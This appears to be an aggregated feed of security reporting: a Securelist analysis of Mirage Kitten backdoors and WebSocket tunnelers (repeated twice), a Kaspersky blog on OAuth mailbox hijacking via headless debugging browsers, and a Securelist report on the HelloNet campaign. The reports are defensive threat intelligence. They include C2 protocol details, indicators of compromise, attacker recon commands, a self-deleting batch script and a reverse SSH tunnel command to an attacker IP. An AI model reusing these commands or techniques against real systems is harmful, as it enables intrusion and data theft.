SecurityWeek
Russian State APT Linked to Recent Public Wi-Fi Gateway Hacking 3 August 2026 at 11:17

Russian State APT Linked to Recent Public Wi-Fi Gateway Hacking

3 August 2026 at 11:17

Midnight Blizzard has been stealing Microsoft account credentials via compromised Wi-Fi networks at hospitality organizations.

The post Russian State APT Linked to Recent Public Wi-Fi Gateway Hacking appeared first on SecurityWeek.

Securelist
Mirage Kitten targets Middle East and Africa region with new malware 28 July 2026 at 10:00

Mirage Kitten targets Middle East and Africa region with new malware

Securelist

By: Omar Amin · Vasily Berdnikov

28 July 2026 at 10:00

Introduction

Mirage Kitten – also known as UNC1549, Smoke Sandstorm, and Nimbus Manticore – is an advanced persistent threat (APT) group focused on cyber-espionage operations against aerospace, aviation, defense, and telecommunications sectors across the Middle East and Africa, using highly targeted spear-phishing campaigns, fake recruitment portals, and custom multi-stage malware to gain persistent access and exfiltrate sensitive data.

During recent threat research, we identified a previously undocumented malware set developed and used by Mirage Kitten. The toolset includes NightLedger, a new Windows backdoor for reconnaissance, command execution, file operations, process discovery, and screenshot capture; and two custom WebSocket-based tunnelers, ArcBridge and BridgeHead, for covert network access and operator-controlled tunneling.

Technical details

Although the initial access vector remains unclear for most malware samples observed in this activity, we saw BridgeHead being deployed during post-exploitation activities in victim environments in Egypt and at a Pakistan-based aerospace and aviation organization. The deployment followed targeted spear-phishing activity consistent with tradecraft we recently documented as part of our private threat intelligence reporting service and publicly reported by Unit 42 and Check Point Research, including the use of highly tailored social engineering lures against selected targets. These lures included recruitment-themed content impersonating trusted brands and hiring platforms, as well as lookalike videoconferencing pages that redirected victims to malicious archives hosted on third-party file-sharing services.

NightLedger backdoor

NightLedger is a recently identified Windows backdoor that we attribute to Mirage Kitten based on code and behavioral similarities to the historical implants developed and used by the group. The implant masquerades as SspiCli.dll and appears to be designed for DLL search-order hijacking, targeting a legitimate AppVShNotify.exe binary. While AppVShNotify.exe does not directly import SspiCli.dll, it imports RPCRT4.dll, which can delay-load SspiCli.dll when it invokes an RPC API that requires authentication. This allows a co-located malicious SspiCli.dll to be loaded while forwarding expected exports to the legitimate DLL.

When started, the malicious DLL creates the mutex A8215357-F99A-44FE-BC65-D8F0434B0C03 to enforce a single running instance. If the mutex already exists, it exits immediately.

NightLedger periodically contacts its C2 over HTTPS, issuing an HTTP GET request to the /edfcvfgbhnjmkqwasderfgg endpoint at the realhealthshop[.]com domain, and uses tjconsultingservices[.]com as a fallback C2.

When a valid C2 response is received, the implant tokenizes the payload using the custom delimiter (#%%#) and passes the parsed fields to its command dispatcher. From a development standpoint, this is similar to TWOSTROKE, a backdoor attributed to the same APT and previously documented by GTIG, whose C2 response is hex-encoded and uses (@##@) as a field separator.

NightLedger supports the following commands:

Command ID	Description
1	Gather user and host identity information
3	Execute a process/program
17	List directories
20	Download a file to the infected system
25	Gather host and network information
27	Copy a file
30	Update beacon interval
36	Take a screenshot
43	Load a DLL
56	Kill a process
62	Delete a file
69	Terminate thread
70	Upload file to C2 server via POST request to /qasxcdfvgbhnmyuioplkhnj
75	Enumerate logical drives
90	List processes
93	Collect C:\Windows\debug\NetSetup.log together with process-list output. NetSetup.log is a Windows diagnostic log generated under C:\Windows\debug\ during domain/workgroup join, unjoin, and related network setup operations.

Command output is returned to the C2 via an HTTP POST request to /wsdefvvbnhyuijkplmbgfrtt.

BridgeHead – a WebSocket tunneler

During our investigation, we encountered a tunnel proxy deployed as unbcl.dll in the %LocalAppData%\Microsoft\VisualStudio directory on a machine in Egypt. We also identified a similar deployment in a Pakistan-based environment, where the tunneling tool was stored as C:\program files (x86)\univpn\promote\libwinpthread-1.dll. The malware dynamically loads advapi32.dll, resolves GetUserNameA, retrieves the current Windows username, converts it to lowercase, and searches for a specific substring in it. This behavior suggests prior reconnaissance was performed within the internal network and the username check is needed to make sure it runs on a specific machine. This is potentially intended to prevent execution of the standalone malware sample inside virtual analysis systems. If the substring is not found, the function returns silently without activating.

If the username check was successful, the tunneler establishes an HTTPS WebSocket connection as follows:

GET /connect HTTP/1.1
Host: smartconnect.azurewebsites.net
Upgrade: websocket
Connection: Upgrade
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38

The server responds with HTTP 101 (Switching Protocols) to complete the WebSocket upgrade. After the upgrade, the client sends a binary WebSocket message containing the literal string "token" as authentication. The server must respond within 10 seconds, or the connection is dropped and retried with exponential backoff.

The malware’s next action depends on the HTTP response returned by the server:

HTTP response	Description
407 (Proxy Auth Required)	Queries supported auth schemes via WinHttpQueryAuthSchemes, selects Negotiate (0x10) or NTLM (0x2) in that exact order, sets Windows SSO credentials (null username/password), retries up to 3 times.
101 (Switching Protocols)	Success. Proceeds to WebSocket upgrade and authentication.
Other	Connection failed. Closes all handles, enters backoff.

This implementation closely mirrors the enterprise proxy traversal logic seen in the backdoor we track internally as Retrograde, which overlaps with tooling publicly reported as MiniFast/MiniUpdate, attributed to the same APT group. The implant is designed to operate through corporate proxy environments by handling HTTP 407 responses, negotiating Windows-integrated proxy authentication with Negotiate preferred over NTLM, retrying with the current user’s SSO context, and falling back to exponential C2 connection retry logic capped at 60 seconds.

Once the WebSocket channel is established and authenticated, the implant functions as a full SOCKS5 tunnel proxy. The C2 server initiates all tunnel connections by sending binary commands over the WebSocket; the implant simply forwards traffic between server‑specified targets and the WebSocket channel. This makes it a relay node: the operator runs tools server‑side, and all resulting TCP traffic is tunneled through the victim’s machine as if originating from the victim’s network.

All tunnel communication uses a fixed binary wire format:

Offset	Size	Field	Encoding
0	1	type	Message type (1–9)
1	4	connId	Tunnel connection identifier
5	1	flags	Status or error indicator
6	2	dataLen	Payload length
8	var	payload	Message data

Every message is at least 8 bytes. Seven message types are actively used:

Type	Name	Direction	Description
1	CONNECT	Server -> Client	Open a new TCP tunnel to a SOCKS5 target address
2	CONNECT_RESPONSE	Client -> Server	Confirm the connection was established
3	DATA	Bidirectional	Relay TCP traffic through the tunnel
4	DISCONNECT	Bidirectional	Close a tunnel connection
5	PING	Bidirectional	Keepalive probe, sent every 30 seconds by timer
6	PONG	Bidirectional	Keepalive reply
9	FLOWCTRL	Bidirectional	Throttle data flow to prevent buffer overrun

The CONNECT payload specifies where the implant should open a TCP connection. The target address is encoded in SOCKS5 format and consists of a single type byte, followed by the address and a 2-byte destination port:

Type byte	Description
0x01	IPv4 address (4 bytes)
0x03	Domain name (1-byte length + string)
0x04	IPv6 address (16 bytes)

Notably, in the process of threat hunting, we detected another variant (MD5: C832ECD135781B11F59E3FFFB3D2B6AC) that shares the same dynamic-resolve stub pattern. This variant communicates with businessmixture.com/blog over WSS on port 443, and not through Microsoft Azure. Still, it implements the same technique of limiting execution to a specific username on the infected machine by hardcoding a 3-character control value that must appear as a substring in the lowercased Windows username retrieved via GetUserNameA. If the match fails, the implant silently exits, confirming per-target tailoring of each deployed binary.

ArcBridge: another WebSocket tunneling tool

ArcBridge is another WebSocket tunneling tool developed and used by Mirage Kitten. We first identified it in April 2026 in activity targeting victims in the Middle East. The malware creates a mutex named F56E68DA-4A89-46B4-9AC8-7290A7651000 to enforce single-instance execution. The use of a UUID-like mutex name is consistent with the NightLedger backdoor described earlier.
The malware contains an embedded configuration block that stores the C2 host, C2 port, retry or timeout value, SSL flag, and what is highly likely an implant identifier:

"<<STARTXX>>"
"aecert.org"
443
5000
0
"4B8CC395-A26F-41F1-A1DC-8B993D9D41D2"
"<<ENDXX>>"

After initialization, ArcBridge communicates over a WebSocket-style channel and waits for server-side control messages. It supports the following commands:

Command	Description
OPEN:	Creates a proxy/tunnel session to a target selected by the operator.
DNS:	Performs hostname or address resolution and returns the result.

Victimology

According to our telemetry, we identified victims across Middle East and African countries including Egypt, SMB and government environments in Jordan and Tanzania, aviation organizations in Pakistan, telecommunication companies in Ethiopia and financial-sector entities in Burkina Faso.

Conclusion

Mirage Kitten continues to evolve its malware arsenal to support targeted cyber-espionage operations across the Middle East and Africa regions. The NightLedger backdoor retains similar core command functionality to TWOSTROKE while introducing additional capabilities, including screenshot capture and collection of the NetSetup.log file.

Another notable aspect of the campaign is the group’s continued reliance on tunneling utilities as part of its operational toolkit. This aligns with previous public reporting, which documented the group’s use of the LIGHTRAIL and POLLBLEND tunnelers. Consistent with this tradecraft, we observed Mirage Kitten continuing to leverage tunneling capabilities alongside a gradual shift away from Microsoft Azure subdomain-style infrastructure in favor of Cloudflare-backed domains in some of its malware, a change likely intended to complicate attribution while maintaining resilient command-and-control communications.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

NightLedger backdoor
A239E655709A2518DD0B7BDBED163679 – sspicli.dll

ArcBridge WebSocket tunneling tool
5FA15EF96808EA82F0A6176F0BB4B386
42F847597109DA2A220391BB09D00676
AFB1C1583606599C7272CFB33CC6F498

BridgeHead WebSocket tunneling tool
6038D42AF0AFFD1FB263F470C0956F6B – unbcl.dll
AE628EFA305387B633DCE82F9364875B – unbcl.dll
F7D36CC5904A53252D2BB3D21615134F – libwinpthread-1.dll
C90F0EFADBF322E5EB1C4103A38C30E6 – libwinpthread-1.dll
D09B14A2FE01C7363ECC56F5D046162C – IPHLPAPI.dll

Domains and IPs

Securelist
Mirage Kitten targets Middle East and Africa region with new malware 28 July 2026 at 10:00

Mirage Kitten targets Middle East and Africa region with new malware

Securelist

By: Omar Amin · Vasily Berdnikov

28 July 2026 at 10:00

Introduction

Mirage Kitten – also known as UNC1549, Smoke Sandstorm, and Nimbus Manticore – is an advanced persistent threat (APT) group focused on cyber-espionage operations against aerospace, aviation, defense, and telecommunications sectors across the Middle East and Africa, using highly targeted spear-phishing campaigns, fake recruitment portals, and custom multi-stage malware to gain persistent access and exfiltrate sensitive data.

During recent threat research, we identified a previously undocumented malware set developed and used by Mirage Kitten. The toolset includes NightLedger, a new Windows backdoor for reconnaissance, command execution, file operations, process discovery, and screenshot capture; and two custom WebSocket-based tunnelers, ArcBridge and BridgeHead, for covert network access and operator-controlled tunneling.

Technical details

Although the initial access vector remains unclear for most malware samples observed in this activity, we saw BridgeHead being deployed during post-exploitation activities in victim environments in Egypt and at a Pakistan-based aerospace and aviation organization. The deployment followed targeted spear-phishing activity consistent with tradecraft we recently documented as part of our private threat intelligence reporting service and publicly reported by Unit 42 and Check Point Research, including the use of highly tailored social engineering lures against selected targets. These lures included recruitment-themed content impersonating trusted brands and hiring platforms, as well as lookalike videoconferencing pages that redirected victims to malicious archives hosted on third-party file-sharing services.

NightLedger backdoor

NightLedger is a recently identified Windows backdoor that we attribute to Mirage Kitten based on code and behavioral similarities to the historical implants developed and used by the group. The implant masquerades as SspiCli.dll and appears to be designed for DLL search-order hijacking, targeting a legitimate AppVShNotify.exe binary. While AppVShNotify.exe does not directly import SspiCli.dll, it imports RPCRT4.dll, which can delay-load SspiCli.dll when it invokes an RPC API that requires authentication. This allows a co-located malicious SspiCli.dll to be loaded while forwarding expected exports to the legitimate DLL.

When started, the malicious DLL creates the mutex A8215357-F99A-44FE-BC65-D8F0434B0C03 to enforce a single running instance. If the mutex already exists, it exits immediately.

NightLedger periodically contacts its C2 over HTTPS, issuing an HTTP GET request to the /edfcvfgbhnjmkqwasderfgg endpoint at the realhealthshop[.]com domain, and uses tjconsultingservices[.]com as a fallback C2.

When a valid C2 response is received, the implant tokenizes the payload using the custom delimiter (#%%#) and passes the parsed fields to its command dispatcher. From a development standpoint, this is similar to TWOSTROKE, a backdoor attributed to the same APT and previously documented by GTIG, whose C2 response is hex-encoded and uses (@##@) as a field separator.

NightLedger supports the following commands:

Command ID	Description
1	Gather user and host identity information
3	Execute a process/program
17	List directories
20	Download a file to the infected system
25	Gather host and network information
27	Copy a file
30	Update beacon interval
36	Take a screenshot
43	Load a DLL
56	Kill a process
62	Delete a file
69	Terminate thread
70	Upload file to C2 server via POST request to /qasxcdfvgbhnmyuioplkhnj
75	Enumerate logical drives
90	List processes
93	Collect C:\Windows\debug\NetSetup.log together with process-list output. NetSetup.log is a Windows diagnostic log generated under C:\Windows\debug\ during domain/workgroup join, unjoin, and related network setup operations.

Command output is returned to the C2 via an HTTP POST request to /wsdefvvbnhyuijkplmbgfrtt.

BridgeHead – a WebSocket tunneler

During our investigation, we encountered a tunnel proxy deployed as unbcl.dll in the %LocalAppData%\Microsoft\VisualStudio directory on a machine in Egypt. We also identified a similar deployment in a Pakistan-based environment, where the tunneling tool was stored as C:\program files (x86)\univpn\promote\libwinpthread-1.dll. The malware dynamically loads advapi32.dll, resolves GetUserNameA, retrieves the current Windows username, converts it to lowercase, and searches for a specific substring in it. This behavior suggests prior reconnaissance was performed within the internal network and the username check is needed to make sure it runs on a specific machine. This is potentially intended to prevent execution of the standalone malware sample inside virtual analysis systems. If the substring is not found, the function returns silently without activating.

If the username check was successful, the tunneler establishes an HTTPS WebSocket connection as follows:

GET /connect HTTP/1.1
Host: smartconnect.azurewebsites.net
Upgrade: websocket
Connection: Upgrade
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38

The server responds with HTTP 101 (Switching Protocols) to complete the WebSocket upgrade. After the upgrade, the client sends a binary WebSocket message containing the literal string "token" as authentication. The server must respond within 10 seconds, or the connection is dropped and retried with exponential backoff.

The malware’s next action depends on the HTTP response returned by the server:

HTTP response	Description
407 (Proxy Auth Required)	Queries supported auth schemes via WinHttpQueryAuthSchemes, selects Negotiate (0x10) or NTLM (0x2) in that exact order, sets Windows SSO credentials (null username/password), retries up to 3 times.
101 (Switching Protocols)	Success. Proceeds to WebSocket upgrade and authentication.
Other	Connection failed. Closes all handles, enters backoff.

This implementation closely mirrors the enterprise proxy traversal logic seen in the backdoor we track internally as Retrograde, which overlaps with tooling publicly reported as MiniFast/MiniUpdate, attributed to the same APT group. The implant is designed to operate through corporate proxy environments by handling HTTP 407 responses, negotiating Windows-integrated proxy authentication with Negotiate preferred over NTLM, retrying with the current user’s SSO context, and falling back to exponential C2 connection retry logic capped at 60 seconds.

Once the WebSocket channel is established and authenticated, the implant functions as a full SOCKS5 tunnel proxy. The C2 server initiates all tunnel connections by sending binary commands over the WebSocket; the implant simply forwards traffic between server‑specified targets and the WebSocket channel. This makes it a relay node: the operator runs tools server‑side, and all resulting TCP traffic is tunneled through the victim’s machine as if originating from the victim’s network.

All tunnel communication uses a fixed binary wire format:

Offset	Size	Field	Encoding
0	1	type	Message type (1–9)
1	4	connId	Tunnel connection identifier
5	1	flags	Status or error indicator
6	2	dataLen	Payload length
8	var	payload	Message data

Every message is at least 8 bytes. Seven message types are actively used:

Type	Name	Direction	Description
1	CONNECT	Server -> Client	Open a new TCP tunnel to a SOCKS5 target address
2	CONNECT_RESPONSE	Client -> Server	Confirm the connection was established
3	DATA	Bidirectional	Relay TCP traffic through the tunnel
4	DISCONNECT	Bidirectional	Close a tunnel connection
5	PING	Bidirectional	Keepalive probe, sent every 30 seconds by timer
6	PONG	Bidirectional	Keepalive reply
9	FLOWCTRL	Bidirectional	Throttle data flow to prevent buffer overrun

The CONNECT payload specifies where the implant should open a TCP connection. The target address is encoded in SOCKS5 format and consists of a single type byte, followed by the address and a 2-byte destination port:

Type byte	Description
0x01	IPv4 address (4 bytes)
0x03	Domain name (1-byte length + string)
0x04	IPv6 address (16 bytes)

Notably, in the process of threat hunting, we detected another variant (MD5: C832ECD135781B11F59E3FFFB3D2B6AC) that shares the same dynamic-resolve stub pattern. This variant communicates with businessmixture.com/blog over WSS on port 443, and not through Microsoft Azure. Still, it implements the same technique of limiting execution to a specific username on the infected machine by hardcoding a 3-character control value that must appear as a substring in the lowercased Windows username retrieved via GetUserNameA. If the match fails, the implant silently exits, confirming per-target tailoring of each deployed binary.

ArcBridge: another WebSocket tunneling tool

ArcBridge is another WebSocket tunneling tool developed and used by Mirage Kitten. We first identified it in April 2026 in activity targeting victims in the Middle East. The malware creates a mutex named F56E68DA-4A89-46B4-9AC8-7290A7651000 to enforce single-instance execution. The use of a UUID-like mutex name is consistent with the NightLedger backdoor described earlier.
The malware contains an embedded configuration block that stores the C2 host, C2 port, retry or timeout value, SSL flag, and what is highly likely an implant identifier:

"<<STARTXX>>"
"aecert.org"
443
5000
0
"4B8CC395-A26F-41F1-A1DC-8B993D9D41D2"
"<<ENDXX>>"

After initialization, ArcBridge communicates over a WebSocket-style channel and waits for server-side control messages. It supports the following commands:

Command	Description
OPEN:	Creates a proxy/tunnel session to a target selected by the operator.
DNS:	Performs hostname or address resolution and returns the result.

Victimology

According to our telemetry, we identified victims across Middle East and African countries including Egypt, SMB and government environments in Jordan and Tanzania, aviation organizations in Pakistan, telecommunication companies in Ethiopia and financial-sector entities in Burkina Faso.

Conclusion

Mirage Kitten continues to evolve its malware arsenal to support targeted cyber-espionage operations across the Middle East and Africa regions. The NightLedger backdoor retains similar core command functionality to TWOSTROKE while introducing additional capabilities, including screenshot capture and collection of the NetSetup.log file.

Another notable aspect of the campaign is the group’s continued reliance on tunneling utilities as part of its operational toolkit. This aligns with previous public reporting, which documented the group’s use of the LIGHTRAIL and POLLBLEND tunnelers. Consistent with this tradecraft, we observed Mirage Kitten continuing to leverage tunneling capabilities alongside a gradual shift away from Microsoft Azure subdomain-style infrastructure in favor of Cloudflare-backed domains in some of its malware, a change likely intended to complicate attribution while maintaining resilient command-and-control communications.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

NightLedger backdoor
A239E655709A2518DD0B7BDBED163679 – sspicli.dll

ArcBridge WebSocket tunneling tool
5FA15EF96808EA82F0A6176F0BB4B386
42F847597109DA2A220391BB09D00676
AFB1C1583606599C7272CFB33CC6F498

BridgeHead WebSocket tunneling tool
6038D42AF0AFFD1FB263F470C0956F6B – unbcl.dll
AE628EFA305387B633DCE82F9364875B – unbcl.dll
F7D36CC5904A53252D2BB3D21615134F – libwinpthread-1.dll
C90F0EFADBF322E5EB1C4103A38C30E6 – libwinpthread-1.dll
D09B14A2FE01C7363ECC56F5D046162C – IPHLPAPI.dll

Domains and IPs

Kaspersky official blog
Email hijacking via OAuth | Kaspersky official blog 17 July 2026 at 18:18

Email hijacking via OAuth | Kaspersky official blog

Kaspersky official blog

By: Stan Kaminsky

17 July 2026 at 18:18

When targeting an organization to steal information, maintaining a low profile is critical for attackers. They typically aim for long-term persistence, which requires avoiding security alerts while preserving access in case they’re detected and the organization initiates incident response or routine password resets. Malware such as infostealers or ostensibly legitimate remote monitoring and management (RMM) tools fail the first requirement: their use triggers EDR and generates suspicious events in SIEM consoles. Relying on stolen credentials conflicts with the second requirement: the moment the security team suspects a compromise, passwords can be changed immediately — terminating access. If attackers attempt to steal browser cookies instead of passwords, they face a different challenge: many online services now correlate device characteristics with the expected session cookie and block access if the cookie is used on an unrecognized device. Furthermore, cookie theft protection mechanisms implemented in Chromium-based browsers (such as Chrome, Edge, and Opera) this year have made this approach significantly more difficult.

To address this persistence challenge, the ToddyCat APT — whose main game is spying — developed a novel technique. Kaspersky experts discovered this method during an incident investigation and named it Shadow Token via Remote Debug (STRD). This technique allows the attackers to establish reliable, persistent access to a victim’s mailbox and other resources in Google Workspace. With minor adjustments, the same approach could potentially be adapted to target other services that grant third-party application access via OAuth 2.0 authentication.

How an STRD attack works

First, the attackers must compromise the victim’s system with malware. In past campaigns, ToddyCat gained initial access to organizations by exploiting known vulnerabilities in server software and distributing malicious loaders via messaging apps. The specific employee targeted by the attackers might not notice the intrusion at all. This can occur, for example, if the adversary first obtains privileged administrative credentials and uses them to deploy the malware onto targeted machines remotely. Crucially, the deployment and execution of this malware mustn’t trigger immediate security alerts.

Once active, the malware executes an STRD attack, connecting the attackers’ remote service to the victim’s mailbox using the OAuth 2.0 protocol. This process requires no user interaction and shows no visible activity on the screen. To the cloud environment (Google Workspace, in the case at hand), the activity appears as if the user has legitimately authorized a third-party app for email access or data backup.

After that, the malware can terminate its operations and even delete itself from the system. The adversary retains direct access to the mailbox using the acquired OAuth token — and they need no connection to the victim’s endpoint or to the corporate network for that. Depending on the organization’s Google Workspace configuration, this access can persist for an extended period and survive subsequent password resets.

The core concept of Shadow Token via Remote Debug

At the heart of this attack is a connection to Google Workspace services via OAuth 2.0. This is a legitimate workflow used whenever a third-party application requests access to calendar data, emails, or Google Drive files. For example, to display calendar meetings in Zoom and automatically generate conference links, a user must authorize Zoom to access Google services. Similarly, configuring a third-party email client or calendar app requires granting permission. During this authorization process, the service requesting access opens a new browser window. In this window, Google Workspace first prompts the user to select the appropriate account. Once the account is chosen, the subsequent screen displays the specific permissions requested by the third-party app, allowing the user to either approve or deny access. For this scenario to proceed seamlessly, the user must already be authenticated to Google services in their browser — which is typically the case in organizations using Google Workspace. If the user isn’t authenticated, additional steps for entering credentials and completing multi-factor authentication are introduced into the sequence.

The ToddyCat hackers developed a malicious tool called Umbrij to facilitate a two-step covert authorization process when the user is already authenticated in Google. First, the malware identifies the browsers installed on the system, and locates the specific folder storing the user’s active profile for each. The attackers target Chrome and Edge, as these are the browsers most likely serving as the primary ones within the organization.

Next, Umbrij copies the entire user profile folder to a different directory on the machine. It then launches an instance of the browser, specifying the path to the duplicated profile via the command line. Because this duplicate profile contains the user’s session cookies, websites with saved credentials won’t prompt for re-authentication. Furthermore, since this occurs on the exact same computer where the primary browser is running, online services detect no anomalies. The browsing history for this newly launched instance is isolated within the new folder, keeping it hidden from the user’s main account activity.

Crucially, the browser is launched in a dedicated debugging mode typically reserved for web development. The browser window and user interface don’t appear on the screen at all (headless mode). Instead, the browser can be controlled through a debugging port using the DevTools protocol, allowing the malware to issue commands and read the state of the screen. To orchestrate these actions, Umbrij leverages Puppeteer, a legitimate automation library.

After verifying that the debugging browser instance has launched successfully, Umbrij opens a legitimate Google Workspace OAuth screen within it. The request sent to Google is engineered to bypass additional security checks while requesting maximum access privileges. For the application ID — the identity supposedly requesting these extensive permissions — the malware impersonates one of two legitimate tools: Google Workspace Migration for Microsoft Outlook (GWMMO), or Google Workspace Sync for Microsoft Outlook (GWSMO).

When Google opens the window within the headless browser, Umbrij uses debugging tools to programmatically click on the corporate account name and the confirmation buttons. As a result, Google generates an authorization code for the app. Umbrij extracts and saves this code, subsequently forwarding it to the attackers’ command-and-control server. Finally, operating entirely within their own infrastructure rather than on the victim’s computer, the attackers exchange this authorization code for an OAuth access token. This single token is all they need to maintain long-term unrestricted access to the mailbox.

How to protect against OAuth token theft

If a Google Workspace account is compromised, incident response measures must include the following steps after collecting the necessary logs and other forensic data for investigation:

Resetting the affected user’s password
Terminating all active web sessions for the user
Revoking OAuth tokens and third-party app permissions
Reviewing and removing access granted through legacy App Passwords

In addition, security and IT teams must systematically audit issued OAuth permissions, revoke unjustifiable access rights, and restrict capabilities that allow excessive or unauthorized permission grants. We covered this topic in detail in our article on blocking unwanted AI assistants.

How to prevent exploitation of Shadow Token via Remote Debug

While Kaspersky users are protected against the Umbrij tool, security teams should proactively implement policies that prevent standard users from launching browsers in debugging mode. This functionality is intended exclusively for website and web app developers. This restriction can be enforced through the DeveloperToolsAvailability group policy (available for both Chrome and Edge).

Additionally, configure monitoring within your SIEM/XDR to track the launch of browser instances with an active debugging port. This event serves as a strong indicator of this specific attack technique.

Securelist
HelloNet campaign: new malicious modules launched through the ViPNet update system 16 July 2026 at 15:05

HelloNet campaign: new malicious modules launched through the ViPNet update system

Securelist

By: Konstantin Isakov · Georgy Kucherin · Anton Kargin

16 July 2026 at 15:05

UPD 16.07.2026: Added rules to protect companies using our Kaspersky SIEM system, and listed events for developing custom detection rules or conducting threat hunting.

UPD 16.07.2026: Added detection of the malicious activity using Kaspersky Managed Detection and Response.

UPD 16.07.2026: Added detection rules and examples using KEDR Expert.

UPD 16.07.2026: Added detection of the malicious campaign in network traffic using Kaspersky Anti Targeted Attack (KATA) with the NDR module.

UPD 16.07.2026: Updated the list of Indicators of Compromise (IoCs) and TTPs.

We discovered a new APT attack using previously unknown tooling, which started at least in May 2026 and remains active at the time of publication. It is notable in that the implants used during the attack were launched through the ViPNet update system (a software suite for creating secure networks). During our research, we identified attempts at targeted infection of large Russian organizations in the government, energy, transport, education, and logistics sectors, as well as industry. This is not the first time an advanced group has targeted computers connected to ViPNet networks. For example, last year, we discovered a complex backdoor mimicking ViPNet updates.

Persistence via the update system

On one of the analyzed systems, we identified a malicious file named wtsapi32.dll in the directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System, which belongs to the ViPNet suite update system. By placing the file in this directory, the attackers implement the DLL Sideloading technique — the ViPNet update system executable file itcsrvup64.exe, which is launched at OS startup, is susceptible to it. Thus, during this attack, the attackers tried to implement persistence on the system through the ViPNet software update component.

HelloInjector: a loader for additional malicious components

The wtsapi32.dll component is a loader, which we named HelloInjector. Its main goal is to inject its code into the svchost.exe process and launch the malicious payload. After starting, the malware checks the process in the context of which it was launched. If the name of the main process is not svchost.exe, the loader starts iterating through all processes running in the operating system. It looks for a process whose name contains the string svchost, and whose command line contains the string netsvcs. If such a process is found, the loader injects itself into the target process using the NtWriteVirtualMemory and NtCreateThreadEx functions.

After restarting inside the new process, the loader checks the process name again for the presence of the string svchost. Having confirmed the successful check, HelloInjector loads and executes the malicious payload, which is stored in its body in plain text, in memory.

HelloProxy: a tool for traffic proxying and launching new malicious payloads

The malicious payload, which we named HelloProxy, is simultaneously a hidden proxy and a loader for the following modules sent by the command server. It works by intercepting the NtDeviceIoControlFile, closesocket, and shutdown functions. Their interception is carried out using the Microsoft Detours library.

The handlers of the closesocket and shutdown functions prevent the premature closing of sockets used for interaction with the C2. In turn, the handler of the NtDeviceIoControlFile function contains the main malicious logic. Its code implements the interception of two IOCTL codes:

AFD_RECV (0x12017)
AFD_GET_TDI_HANDLES (0x12037)

These codes are used during socket operations — their interception allows the malware to hinder security solutions operating in user mode for filtering network connections. Kaspersky security solutions detect such activity and prevent infection attempts at all stages.

The AFD_GET_TDI_HANDLES handler is responsible for socket registration, and the AFD_RECV handler initiates the processing of incoming traffic. It is worth noting that every incoming message that triggered the processing of the AFD_RECV code is logged to the file C:\users\public\tesh4RPC.txt in the format:

threadid: <Thread ID> pid=<PID>\r\n

After installing the interceptors, the malware starts listening on ports 5003 and 5060 in anticipation of the first commands from the C2 server. In order to distinguish the command server traffic from the rest of the traffic, the implant implements a handshake process: it sends two bytes 0x0502 through the socket and expects to receive a message containing the string ASDFASFSAFASDF. After the successful completion of the handshake, the processing of incoming commands continues.

Depending on the received command, there are two execution branches:

Working as a proxy. The malware accepts strings in the following format:
```
<ip_addr>:<port>
```
Afterwards, it creates new sockets and starts forwarding traffic between them.
Working as a loader. The malware accepts an executable file from the command server, after which it loads it into the memory of its own process and launches it in a separate thread.

During the research, we managed to discover two malicious payloads that were injected into the svchost process, likely as a result of the previously described loader’s operation:

An implant, which we named HelloExecutor, with the help of which attackers can execute commands on the infected system.
A module for cleaning ViPNet software log files, which we named HelloCleaner. It allows hiding the attackers’ actions in the system.

We established that the HelloExecutor backdoor was used for reconnaissance in the networks of infected organizations. The following shell commands were executed:

query user
ipconfig /all
ping   8.8.8.8  -n  1
net user /do
net group /do
dir "C:\Program Files (x86)"
dir "C:\Program Files (x86)\infotecs\"
dir "C:\Program Files (x86)\infotecs\ViPNet Administrator"
dir "C:\Program Files (x86)\infotecs\ViPNet Client\Export"
dir "C:\Program Files (x86)\infotecs\ViPNet Client"
dir  "С:\ProgramData\Infotecs\ViPNet Administrator\kc\Export\"
dir  "$appdata\Infotecs\ViPNet Administrator\kc\Export\ Dst for network <номер сети удален>"
dir c:\users\[username]
query  user
dir  C:\Users\Public\music

In these commands, the mention of the directory C:\Users\Public\Music is notable. We established that on infected machines, the attackers used this directory when launching an SSH tunnel from the infected infrastructure to the attackers’ command server (5.39.253[.]206). The attackers launched a renamed executable file of the legitimate PuTTY utility (a client for various remote access protocols):

C:\users\public\music\frontpage.exe -C -N -R 8443:[redacted]:5003 sftp@5.39.253[.]206 -P 3522 -pw [redacted]

HelloBackdoor: a Rust-based backdoor for file system manipulations

In addition to this, a backdoor written in the Rust language, which we named HelloBackdoor, was discovered on one of the infected systems. It accepts connections on port 443, waiting for the string 47c6235b4d2611184 (the second half of the MD5 hash of the string hello\n) to activate the backdoor. This backdoor further accepts the following commands:

!upload — upload a file to the infected machine
!down — download a file from the infected machine
!stop — stop the backdoor’s operation. For this, a BAT file is created and executed with the following content:

@echo off
:loop
if exist <selfpath> (
del /F /Q <selfpath>
if exist <selfpath> goto loop
)
sc stop iplircontrol >nul 
timeout 5 > nul 
sc start iplircontrol > nul 
(goto) 2>nul & del /F /Q %0

If the command text did not match the above list, the command is executed using cmd.exe.

Attribution

During the analysis of one of the wtsapi32.dll file samples, we found an unused string:

GET / HTTP/1.1\r\nHost: news.sina.com\r\nConnection : keep - alive\r\nUpgrade - Insecure - Requests : 1\r\nUser - Agent : Mozilla / 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 145.0.0.0 Safari / 537.36 Edg / 145.0.0.0\r\nAccept : text / html, application / xhtml + xml, application / xml; q = 0.9, image / avif, image / webp, image / apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\n

It refers to the news portal sina.com, which is popular in China.

In addition, while analyzing the strings in the HelloBackdoor backdoor, we established that during compilation, Rust packages (crates) were downloaded from the mirror mirrors.ustc.edu.cn. Most likely, these strings remained in the malicious files unintentionally. However, the probability of using “false flags” implanted by attackers to complicate the attribution process cannot be excluded. At present, we link this campaign to the activities of an unknown Chinese-speaking APT group with a low degree of confidence.

Recommendations

